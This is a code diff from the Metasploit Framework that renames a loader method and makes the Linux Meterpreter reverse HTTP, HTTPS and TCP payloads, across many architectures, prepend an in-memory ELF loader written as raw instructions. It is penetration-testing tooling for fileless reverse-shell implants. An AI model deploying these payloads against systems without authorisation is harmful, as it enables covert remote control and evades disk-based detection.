fix: updated mettle payload generation and cached_size

lib/msf/core/payload/linux/aarch64/meterpreter_loader.rb

@@ -5,7 +5,7 @@
 # Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
 #
 module Msf::Payload::Linux::Aarch64::MeterpreterLoader
-  def in_memory_loader(payload)
+  def in_memory_load(payload)
       in_memory_loader = [
       0x0a0080d2, # 0x1000:	mov	x10, #0	0x0a0080d2
       0xea0300f9, # 0x1004:	str	x10, [sp]	0xea0300f9

lib/msf/core/payload/linux/armbe/meterpreter_loader.rb

@@ -6,7 +6,7 @@
 # Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
 #
 module Msf::Payload::Linux::Armbe::MeterpreterLoader
-  def in_memory_loader(payload)
+  def in_memory_load(payload)
       in_memory_loader = [
       0x0020a0e3, # 0x1000:	mov	r2, #0	0x0020a0e3
       0x04202de5, # 0x1004:	str	r2, [sp, #-4]!	0x04202de5

lib/msf/core/payload/linux/armle/meterpreter_loader.rb

@@ -5,7 +5,7 @@
 # Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
 #
 module Msf::Payload::Linux::Armle::MeterpreterLoader
-  def in_memory_loader(payload)
+  def in_memory_load(payload)
         in_memory_loader = [
 0xe3a02000, #0x1000:	mov	r2, #0	0xe3a02000
 0xe52d2004, #0x1004:	str	r2, [sp, #-4]!	0xe52d2004

lib/msf/core/payload/linux/ppc/meterpreter_loader.rb

@@ -6,7 +6,7 @@
 #
 
 module Msf::Payload::Linux::Ppc::MeterpreterLoader
-  def in_memory_loader(payload)
+  def in_memory_load(payload)
     in_memory_loader = [
 
       0x48000084, # 0x1000:	b	0x1084	0x48000084

lib/msf/core/payload/linux/ppc64le/meterpreter_loader.rb

@@ -6,7 +6,7 @@
 #
 
 module Msf::Payload::Linux::Ppc64le::MeterpreterLoader
-  def in_memory_loader(payload)
+  def in_memory_load(payload)
     in_memory_loader = [
       0x4800007c, # 0x1000:	b	0x107c	0x4800007c
       0x7de802a6, # 0x1004:	mflr	r15	0x7de802a6

lib/msf/core/payload/linux/ppce500v2/meterpreter_loader.rb

@@ -7,7 +7,7 @@
 
 module Msf::Payload::Linux::Ppce500v2::MeterpreterLoader
   
-  def in_memory_loader(payload)
+  def in_memory_load(payload)
     in_memory_loader = [
       0x48000084, # 0x1000:	b	0x1084	0x48000084
       0x7de802a6, # 0x1004:	mflr	r15	0x7de802a6

modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Aarch64::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Aarch64::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb

@@ -3,6 +3,7 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
+
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
   CachedSize = 1184672
@@ -11,32 +12,33 @@ module MetasploitModule
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
   include Msf::Payload::Linux::Aarch64::MeterpreterLoader
+
   def initialize(info = {})
     super(
       update_info(
         info,
-        'Name' => 'Linux Meterpreter, Reverse TCP Inline',
-        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
-        'Author' => [
+        'Name'          => 'Linux Meterpreter, Reverse TCP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
           'Brent Cook <brent_cook[at]rapid7.com>',
           'timwr'
         ],
-        'Platform' => 'linux',
-        'Arch' => ARCH_AARCH64,
-        'License' => MSF_LICENSE,
-        'Handler' => Msf::Handler::ReverseTcp,
-        'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_AARCH64,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseTcp,
+        'Session'       => Msf::Sessions::Meterpreter_aarch64_Linux
       )
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true
     }.merge(mettle_logging_config)
     payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
-    in_memory_loader(payload) + payload
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb

@@ -7,9 +7,11 @@
 module MetasploitModule
   CachedSize = 1106544
 
+
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Armbe::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +33,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Armbe::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb

@@ -3,6 +3,7 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
+
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
   CachedSize = 1106544
@@ -11,32 +12,33 @@ module MetasploitModule
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
   include Msf::Payload::Linux::Armbe::MeterpreterLoader
+
   def initialize(info = {})
     super(
       update_info(
         info,
-        'Name' => 'Linux Meterpreter, Reverse TCP Inline',
-        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
-        'Author' => [
+        'Name'          => 'Linux Meterpreter, Reverse TCP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
           'Brent Cook <brent_cook[at]rapid7.com>',
           'timwr'
         ],
-        'Platform' => 'linux',
-        'Arch' => ARCH_ARMBE,
-        'License' => MSF_LICENSE,
-        'Handler' => Msf::Handler::ReverseTcp,
-        'Session' => Msf::Sessions::Meterpreter_armbe_Linux
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_ARMBE,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseTcp,
+        'Session'       => Msf::Sessions::Meterpreter_armbe_Linux
       )
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true
     }.merge(mettle_logging_config)
     payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
-    in_memory_loader(payload) + payload
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Armle::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb

@@ -7,9 +7,11 @@
 module MetasploitModule
   CachedSize = 1106844
 
+
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Armle::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +33,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb

@@ -3,6 +3,7 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
+
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
   CachedSize = 1106844
@@ -16,28 +17,28 @@ module MetasploitModule
     super(
       update_info(
         info,
-        'Name' => 'Linux Meterpreter, Reverse TCP Inline',
-        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
-        'Author' => [
+        'Name'          => 'Linux Meterpreter, Reverse TCP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
           'Brent Cook <brent_cook[at]rapid7.com>',
           'timwr'
         ],
-        'Platform' => 'linux',
-        'Arch' => ARCH_ARMLE,
-        'License' => MSF_LICENSE,
-        'Handler' => Msf::Handler::ReverseTcp,
-        'Session' => Msf::Sessions::Meterpreter_armle_Linux
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_ARMLE,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseTcp,
+        'Session'       => Msf::Sessions::Meterpreter_armle_Linux
       )
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true
     }.merge(mettle_logging_config)
     payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
-    in_memory_loader(payload) + payload
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Mips64::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb

@@ -7,9 +7,11 @@
 module MetasploitModule
   CachedSize = 1685392
 
+
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Mips64::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +33,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb

@@ -32,7 +32,7 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true

modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Mipsbe::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Mipsbe::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb

@@ -32,7 +32,7 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true

modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Mipsle::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Mipsle::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb

@@ -32,7 +32,7 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true

modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::X64::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::X64::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb

@@ -11,6 +11,7 @@ module MetasploitModule
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
   include Msf::Payload::Linux::X64::MeterpreterLoader
+
   def initialize(info = {})
     super(
       update_info(
@@ -31,7 +32,7 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true

modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::X86::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::X86::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb

@@ -32,7 +32,7 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true

modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Zarch::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'http',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::Linux
   include Msf::Sessions::MettleConfig
+  include Msf::Payload::Linux::Zarch::MeterpreterLoader
 
   def initialize(info = {})
     super(
@@ -31,11 +32,12 @@ module MetasploitModule
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'https',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
+    in_memory_load(payload) + payload
   end
 end

modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb

@@ -3,6 +3,7 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
+
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
   CachedSize = 1332048
@@ -16,28 +17,28 @@ module MetasploitModule
     super(
       update_info(
         info,
-        'Name' => 'Linux Meterpreter, Reverse TCP Inline',
-        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
-        'Author' => [
+        'Name'          => 'Linux Meterpreter, Reverse TCP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
           'Brent Cook <brent_cook[at]rapid7.com>',
           'timwr'
         ],
-        'Platform' => 'linux',
-        'Arch' => ARCH_ZARCH,
-        'License' => MSF_LICENSE,
-        'Handler' => Msf::Handler::ReverseTcp,
-        'Session' => Msf::Sessions::Meterpreter_zarch_Linux
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_ZARCH,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseTcp,
+        'Session'       => Msf::Sessions::Meterpreter_zarch_Linux
       )
     )
   end
 
-  def generate(_opts = {})
+  def generate
     opts = {
       scheme: 'tcp',
       stageless: true
     }.merge(mettle_logging_config)
     payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
-    in_memory_loader(payload) + payload
+    in_memory_load(payload) + payload
   end
 end

tools/modules/meterpreter_reverse.erb

@@ -10,6 +10,7 @@ module MetasploitModule
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions::<%= platform.split('_').each { |s| s.casecmp?('osx') ? 'OSX' : s.capitalize! }.join %>
   include Msf::Sessions::MettleConfig
+  <% if platform.downcase == 'linux' %>include Msf::Payload::Linux::<%= arch.capitalize %>::MeterpreterLoader<% end %>
 
   def initialize(info = {})
     super(
@@ -36,6 +37,7 @@ module MetasploitModule
       scheme: '<%= scheme %>',
       stageless: true
     }.merge(mettle_logging_config)
-    MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
+    payload = MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
+    <% if platform.downcase == 'linux' %>in_memory_load(payload) + <% end %>payload
   end
 end